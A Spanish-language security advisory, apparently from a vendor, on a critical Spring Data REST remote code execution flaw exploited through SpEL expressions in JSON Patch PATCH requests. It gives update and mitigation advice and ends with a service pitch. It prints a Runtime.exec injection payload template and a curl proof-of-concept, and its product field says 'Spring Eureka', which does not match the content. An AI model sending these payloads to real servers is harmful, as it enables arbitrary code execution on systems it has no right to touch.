En 2017 se identificó una vulnerabilidad crítica (CVSS 9.8) en las versiones de Spring Data REST anteriores a la 2.6.9 (Ingalls SR9) y 3.0.1 (Kay SR1), y en Spring Boot en las versiones anteriores a la 1.5.9 y 2.0 M6. Este fallo permite a atacantes remotos ejecutar código arbitrario en el servidor mediante solicitudes PATCH especialmente diseñadas. Aunque la vulnerabilidad fue reconocida y corregida por el equipo de Spring, no se han reportado casos generalizados de explotación activa por el momento, probablemente debido a la especificidad del ataque, que requiere que el procesamiento de parches JSON esté habilitado y expuesto.
| Producto | Spring Eureka |
| Fecha | 2025-06-02 10:53:23 |
| Información |
|
Resumen técnico
La vulnerabilidad deriva de la deserialización insegura y el manejo peligroso de expresiones en la forma en que Spring Data REST procesa las solicitudes PATCH con el tipo de contenido application/json-patch+json.
Los atacantes pueden construir una operación JSON Patch utilizando el lenguaje de expresiones de Spring (SpEL), como en el siguiente ejemplo:
[
{
"op": "replace",
"path": "T(java.lang.Runtime).getRuntime().exec(\"<command>\").x",
"value": "pwned"
}
]
Esto permite ejecutar código Java arbitrario (por ejemplo, lanzar comandos del sistema o exfiltrar datos). La expresión es interpretada por el motor SpEL del framework Spring debido a la falta de validación de entrada en el manejo de las solicitudes PATCH.
Ejemplo de explotación mediante curl:
curl --request PATCH \
-H "Content-Type: application/json-patch+json" \
-d '[{ "op" : "replace", "path" : "T(java.lang.Thread).sleep(10000).x", "value" : "pwned" }]' \
http://localhost:8080/entity/1
Esto retrasaría la respuesta 10 segundos, demostrando la ejecución del código.
Payloads más complejos pueden extraer la salida del comando o establecer reverse shells mediante la ejecución de comandos en tiempo de ejecución.
Recomendaciones
Actualizar inmediatamente:
- Actualizar Spring Data REST a la versión 2.6.9 o superior (Ingalls SR9) o 3.0.1 o superior (Kay SR1).
- Actualizar Spring Boot a la versión 1.5.9 o superior o 2.0 M6 o superior.
Deshabilitar el soporte PATCH JSON si no es necesario:
- JSON Patch no suele ser necesario en la mayoría de las API REST. Si no se utiliza, desactive el soporte para
application/json-patch+json.
- JSON Patch no suele ser necesario en la mayoría de las API REST. Si no se utiliza, desactive el soporte para
Filtrar y sanitizar la entrada:
- Aplique una validación rigurosa de las solicitudes para evitar que se interpreten expresiones maliciosas.
Protege tu organización con Threat Intelligence and Digital Risk Protection.
Confía en ISGroup para obtener un servicio práctico y a medida:
- Evaluación específica de tu entorno y tus requisitos
- Resultados claros y una hoja de ruta priorizada y aplicable
- Soporte directo de especialistas con experiencia durante la remediación y la implantación
